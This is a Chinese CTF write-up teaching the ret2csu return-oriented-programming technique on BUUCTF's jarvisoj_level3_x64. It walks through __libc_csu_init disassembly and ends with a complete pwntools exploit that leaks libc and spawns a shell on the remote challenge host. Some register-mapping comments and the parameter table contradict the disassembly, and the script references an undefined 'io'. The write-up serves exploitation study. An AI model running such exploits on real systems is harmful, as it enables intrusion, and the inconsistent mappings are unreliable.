ret2csu csu 链利用

我们直接结合 BUUCTF 的一道题来了解 ret2csu 的利用方式 BUUCTF jarvisoj_level3_x64

什么是 ret2csu？

ret2csu 是 64 位 ROP 中针对缺少高寄存器 Gadget（如pop rdx/pop r12）的通用解决方案利用程序

.init_array段的**CSU 通用初始化代码**，间接给rdx/r12-r15等寄存器赋值，实现多参数函数调用。

ret2csu 的利用原理

首先再次介绍一下 64 位程序的传参方式：当参数少于 7 个时，参数从左到右依次放入寄存器：rdi，rsi，rdx，rcx，r8，r9；当参数为 7 个以上时，前面 6 个相同，后面的依次放入栈中，和 32 位压栈原理相同

__libc_csu_init 详细分析

在为程序当中，程序的前六个参数都是通过寄存器传递的，但是大多数时候，我们很难找到每一个寄存器对应的 gadgets。这时候我们可以利用 x64 下的__libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的，而一般的程序都会调用 libc 函数，所以这个函数一定会存在。

我们在 BUUCTF 下载 jarvisoj_level3_x64 附件，用 IDA 打开，查看__libc_csu_init 函数的汇编代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
.text:0000000000400650 ; =============== S U B R O U T I N E =======================================
.text:0000000000400650
.text:0000000000400650
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650                 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650                 push    r15
.text:0000000000400652                 mov     r15d, edi
.text:0000000000400655                 push    r14
.text:0000000000400657                 mov     r14, rsi
.text:000000000040065A                 push    r13
.text:000000000040065C                 mov     r13, rdx
.text:000000000040065F                 push    r12
.text:0000000000400661                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668                 push    rbp
.text:0000000000400669                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670                 push    rbx
.text:0000000000400671                 sub     rbp, r12
.text:0000000000400674                 xor     ebx, ebx
.text:0000000000400676                 sar     rbp, 3
.text:000000000040067A                 sub     rsp, 8
.text:000000000040067E                 call    _init_proc
.text:0000000000400683                 test    rbp, rbp
.text:0000000000400686                 jz      short loc_4006A6
.text:0000000000400688                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
.text:00000000004006B4
.text:00000000004006B4 ; ---------------------------------------------------------------------------

其中从0x4006A6 一直到结尾的地址都是我们可以利用还在那溢出构造栈上数据来控制的，因为 rbx，rbp，r12，r13，r14，r15 都是寄存器的数据，也就是向寄存器进行 pop 指令操作

1
2
3
4
5
6
7
8
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

我们可以将 r13 赋值给 rdx，将 r14 赋值给 rsi，将 r15 赋值给 edi。（需要注意的是，虽然这里赋值给的是 edi，但其实此时 rdi 的高 32 位寄存器为 0，所以我们可以控制 rdi 的值，只不过只能控制低 32 位，而这三个寄存器也是 x64 函数调用中传递的前三个寄存器（rdx，rsi，edi））。此外，如果我们可以合理地控制 r12和rbx，那我们就可以调用我们想要调用的函数。

比如我们可以控制 rbx 为 0，r12 位存储我们想要调用的函数的地址。控制 rbp 对应的汇编如下：

1
2
3
4
5
6
7
8
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
1
2
3
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690

从 0x40069D 我们可以控制 rbx 与 rbp 的关系为 rbp = rbx+1，这样就不会再执行loc_400690

1
2
3
4
5
6
7
8
cmp 是 x86_64 汇编的 “比较指令”，cmp rbx, rbp 的作用是：
计算 rbx - rbp 的值（不保存结果，仅修改标志寄存器）；
根据结果设置 ZF（零标志位）：
若 rbx == rbp → ZF=1（相等）；
若 rbx != rbp → ZF=0（不相等）。

jz	Jump if Zero	    ZF = 1（上一条指令结果为 0）	相等则跳转（比如rbx==rbp）
jnz	Jump if Not Zero	ZF = 0（上一条指令结果非 0）	不相等则跳转（比如rbx!=rbp）

再来看跳转地址的指令：

1
call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]

间接寻址：call [r12+rbx8]。这意味着程序会去 r12 + rbx8 这个地址所指向的内存单元里，取出一个 64 位的值，然后跳转到这个值代表的地址。

我们前面控制了 rbx = 0。 此时指令简化为： call qword ptr [r12]

也就是跳转到内存地址 r12 处存储的那个 64 位数值所指向的地方。通过这个我们就可以随意篡改跳转地址。

ret2csu 的利用场景

当我们找不到pop rdi; ret, pop rsi; ret, pop rdx; ret但是有__libc_csu_init 时就需要使用 ret2csu 方法。

由于 32 位程序无需任何寄存器 Gadget，直接压栈，因此不使用 ret2csu

可以使用一条命令检查是否需要用 ret2csu

1
2
3
4
5
6
# 检查64位程序的Gadget
ROPgadget --binary ./目标程序 --only "pop rdx; ret"

# 输出结果：
# 有结果 → 无需ret2csu，直接用pop rdx；
# 无结果 → 必须用ret2csu
1
ROPgadget --binary ./目标程序 --only "pop rdx; ret"

1770734393730-05392e44-b07e-4977-9f93-e4ea08802794.png

jarvisoj_level3_x64（ret2csu）

继续跟着 jarvisoj_level3_x64 这道题理解 exp 的构造（也可以只使用 ret2libc 实现 getshell，这里不介绍了）1770742602309-f97052a8-d9c6-4305-92d2-13113fafc340.png

1
2
3
4
5
int __fastcall main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEu);
}
1
2
3
4
5
6
7
ssize_t __fastcall vulnerable_function(__int64 argc, __int64 argv, __int64 envp)
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  write(1, "Input:\n", 7u);
  return read(0, buf, 0x200u);
}

从 vulnerable_function 函数我们发现可以通过 read 函数实现栈溢出，偏移量为 0x80+0x8，之后可以拿一下 gadgets 的地址，为后面的 exp 做准备

1770740429045-b68dffa7-b02a-4ed9-add2-bdf823a26ffe.png

1
2
0x4006b3: pop rdi; ret;
0x400499: ret;
从 IDA 中查看 csu 片段
1
2
3
4
5
6
7
8
9
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn
1
2
3
4
5
6
7
8
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
gadgets 准备工作
1
2
3
4
csu1=0x4006A6     # CSU POP段：pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
csu2=0x400690     # CSU CALL段：mov rdx, r15; mov rsi, r14; mov rdi, r13; call qword ptr [r12 + rbx*8]
rdi_ret=0x4006b3  # pop rdi; ret（getshell时给system传参）
ret=0x400499      # 单独的ret;栈对齐用，代码中暂未用到，是预留
封装ret2csu参数构造函数
1
2
3
4
5
6
7
def csu_args(extra, rbx, rbp, r12, r13, r14, r15):
    # extra：占位参数（对应csu1的ret后的栈填充，这里设为0）
    # rbx/rbp：ret2csu的循环控制（必须rbx=0, rbp=1）
    # r12：要调用的函数地址（如write_got）
    # r13→rdi、r14→rsi、r15→rdx（write的前3个参数）
    payload = p64(extra) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    return payload
csu1 传参规则
1
2
3
4
5
6
7
8
# 跳转到CSU POP段
payload1 = b'a'*offset + p64(csu1) + csu_args(0, 0, 1, write_got, 8, read_got, 1) 
# 跳转到CSU CALL段，执行write
# 栈填充：csu2执行后会破坏栈结构，用7个0占位（抵消CSU的栈操作）
payload1 += p64(csu2) + csu_args(0, 0, 0, 0, 0, 0, 0) +p64(main_addr)
p.sendlineafter('Input:', payload1)
read_addr = u64(p.recv(8))
print(hex(read_addr))
1
2
3
4
5
6
7
csu_args 参数	   对应寄存器	write 函数参数	   作用
rbx=0	            rbx	        -	               循环控制：保证 r12+rbx*8=r12
rbp=1	            rbp      	-	               循环控制：rbx+1=rbp，避免循环
r12=write_got    	r12	        -	               要调用的函数地址（call [r12+rbx*8]）
r13=1	            rdi	        write 第 1 参数     fd=1（标准输出）
r14=read_got	    rsi      	write 第 2 参数	   buf=read_got（要泄露的地址）
r15=8	            rdx	        write 第 3 参数	   count=8（读取 8 字节，64 位地址长度）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
p=remote("node5.buuoj.cn",27489)
elf=ELF("./BUU29")

offset = 0x88
read_got=elf.got["read"]
write_got=elf.got["write"]
main=elf.symbols["main"]

csu1=0x4006A6
csu2=0x400690
rdi_ret=0x4006b3
ret=0x400499

def csu_args(extra, rbx, rbp, r12, r13, r14, r15):
    payload = p64(extra) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    return payload
    
payload1 = b'A'*(0x80+8)+ p64(csu1) + csu_args(0, 0, 1, write_got, 8, read_got, 1) 
payload1 += p64(csu2) + csu_args(0, 0, 0, 0, 0, 0, 0) + p64(main)
p.sendafter(b'Input:\n', payload1)
read_addr = u64(io.recv(8))
print(hex(read_addr))

libc = LibcSearcher("read",read_addr)
base_addr = read_addr - libc.dump("read")
system = base_addr + libc.dump("system")
binsh = base_addr + libc.dump("str_bin_sh")

payload2=b"A"*offset + p64(rdi_ret) + p64(binsh) + p64(system)
p.sendline(payload2)
p.interactive()

1770742572072-f0c8174b-7f00-4c1a-88f3-2444bc7f52de.png

更新: 2026-04-05 10:49:13
原文: https://www.yuque.com/idcm/wnemg9/xtg5an6t747sylv0